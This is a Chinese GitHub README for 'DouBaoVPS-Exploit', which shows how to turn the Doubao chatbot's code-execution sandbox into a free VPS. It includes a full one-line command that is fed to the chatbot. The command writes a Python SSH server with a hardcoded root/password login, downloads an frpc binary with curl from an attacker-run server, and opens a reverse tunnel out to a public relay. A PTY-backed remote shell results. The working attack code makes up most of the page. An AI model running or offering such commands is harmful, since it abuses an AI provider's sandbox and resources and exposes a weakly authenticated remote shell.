Skip to content

XUANHLGG/DouBaoVPS-Exploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 

Repository files navigation

DouBaoVPS-Exploit

这是一个针对豆包内置代码执行沙盒(基于 Jupyter Kernel)的一键 VPS 转化与控制项目。

⚠️ 免责声明:本项目仅用于网络技术交流及沙盒底层行为审计,禁止用于恶意攻击或高强度占用资源。(其实你连上之后每隔几分钟就会断开而且长时间不对话会给你容器关掉所以图一乐就行

为什么不使用更简单的“原生反向 SSH”或“Python 一行命令反弹 Shell”?

在看到本项目时,你的第一反应可能是:为什么要手搓几百行 Python SSHD 脚本和套 frp?直接在沙盒里用 ssh -R 或者 Python 的 socket 一行反弹 Shell 难道不更简单吗?

1. 解决沙盒原生无 SSHD 服务端的问题

经过探测,镜像里只精简得剩下一个 ssh 客户端,根本没有安装 sshd 服务端。 传统的 ssh -R(远程端口转发)只是把沙盒本地的端口挂出去,如果沙盒内没有 SSH 守护进程在监听,控制端只能连接到棍母。本项目通过 Python 在用户态自主拉起 SSHD 监听,完美补全了这一环。

2. 完美继承标准 PTY 的交互体验

普通的 nc 反弹 Shell 默认不是一个真正的终端(PTY)。你在里面是没法用 htopvim 的,按方向键会变成 ^[[ATab 也没法用。 本项目在 Python 手搓的 SSHD 的核心管道中加入了 pty.openpty() 绑定标准 Bash,因此连接沙盒后能获得和正规 VPS 完全一致的操作体验。

控制端(你的公网 VPS)准备工作

在让豆包执行一键命令之前,你需要准备好自己的公网中转节点。要是没有就可以不用看了,毕竟你为了这个买个 VPS 也就不需要折腾豆包了(

1. 启动 frps 服务端

在公网 VPS 上安装 frps并编写 frps.toml

bindPort = 7000                 # 你的 frps 端口
auth.method = "token"
auth.token = "你的frps令牌"      # 你的安全验证 Token

启动服务端:nohup ./frps -c frps.toml > frps.log 2>&1 &

2. 建立简易文件下载站

为了规避 GitHub 国内直连超时的玄学问题,直接用自己的 VPS 当文件服务器。 在解压并放有 Linux AMD64 架构 frpc 二进制单文件的目录下,执行一行 Python 命令开下载站:

nohup python3 -m http.server 35023 --bind 0.0.0.0 > web_server.log 2>&1 &

别忘了在云服务器后台安全组里放行 7000(frps 握手端口)、2222(映射后的远程 SSH 端口)以及 35023(文件下载端口)的 TCP 出入站流量!

给豆包的一键命令

万事俱备后,新建豆包对话,将下面这一整串修改好你个人服务器信息的单行命令直接甩给它:

cd /home/user/.super_doubao/super-doubao-runtime/workspace && pkill -f simulated_sshd.py; pkill -f frpc; cat << 'EOF' > simulated_sshd.py
import os, sys, pty, socket, subprocess, threading
try:
    import paramiko
except ImportError:
    subprocess.check_call([sys.executable, "-m", "pip", "install", "paramiko", f"--target={os.path.join(os.getcwd(), 'py_libs')}"])
    sys.path.insert(0, os.path.join(os.getcwd(), 'py_libs'))
    import paramiko

class SimpleSSHServer(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        return paramiko.OPEN_SUCCEEDED if kind == 'session' else paramiko.OPEN_DENIED
    def check_auth_password(self, username, password):
        return paramiko.AUTH_SUCCESSFUL if username == 'root' and password == 'password' else paramiko.AUTH_FAILED
    def check_channel_pty_request(self, *args):
        return True
    def check_channel_shell_request(self, channel):
        self.event.set()
        return True

def handle_connection(client_sock):
    try:
        transport = paramiko.Transport(client_sock)
        key_file = os.path.join(os.getcwd(), 'host_rsa.key')
        if os.path.exists(key_file):
            server_key = paramiko.RSAKey(filename=key_file)
        else:
            server_key = paramiko.RSAKey.generate(2048)
            server_key.write_private_key_file(key_file)
        transport.add_server_key(server_key)
        server = SimpleSSHServer()
        transport.start_server(server=server)
        chan = transport.accept(20)
        if chan is None: return
        server.event.wait(10)
        master_fd, slave_fd = pty.openpty()
        p = subprocess.Popen(['/bin/bash', '-i'], stdin=slave_fd, stdout=slave_fd, stderr=slave_fd, close_fds=True, preexec_fn=os.setsid)
        os.close(slave_fd)
        def f_in():
            while True:
                try:
                    d = chan.recv(1024)
                    if not d: break
                    os.write(master_fd, d)
                except: break
        def f_out():
            while True:
                try:
                    d = os.read(master_fd, 1024)
                    if not d: break
                    chan.send(d)
                except: break
        threading.Thread(target=f_in, daemon=True).start()
        threading.Thread(target=f_out, daemon=True).start()
        p.wait()
    except: pass
    finally: client_sock.close()

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('0.0.0.0', 2222))
    s.listen(5)
    while True:
        c, a = s.accept()
        threading.Thread(target=handle_connection, args=(c,), daemon=True).start()

if __name__ == "__main__":
    main()
EOF
cat << 'EOF' > frpc.toml
serverAddr = "你的frps服务器公网IP"
serverPort = 你的frps端口
auth.method = "token"
auth.token = "你的frps令牌"

[[proxies]]
name = "doubao-ssh"
type = "tcp"
localIP = "127.0.0.1"
localPort = 2222
remotePort = 2222
EOF
if [ ! -f "frpc" ]; then curl --noproxy "*" -Lo frpc --connect-timeout 10 "http://你的文件服务器公网IP/frpc" && chmod +x frpc; fi && ./frpc -c frpc.toml > frpc.log 2>&1 & python3 simulated_sshd.py

连接沙盒

当豆包告知你执行完毕后,打开终端连接:

ssh root@你的frps服务器公网IP -p 2222

默认密码:password

成功登录之后,你就拥有一台拥有 2核 Intel 至强/AMD 霄龙高性能算力的临时免费 VPS 了。可以尽情去里面整活了喵(

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages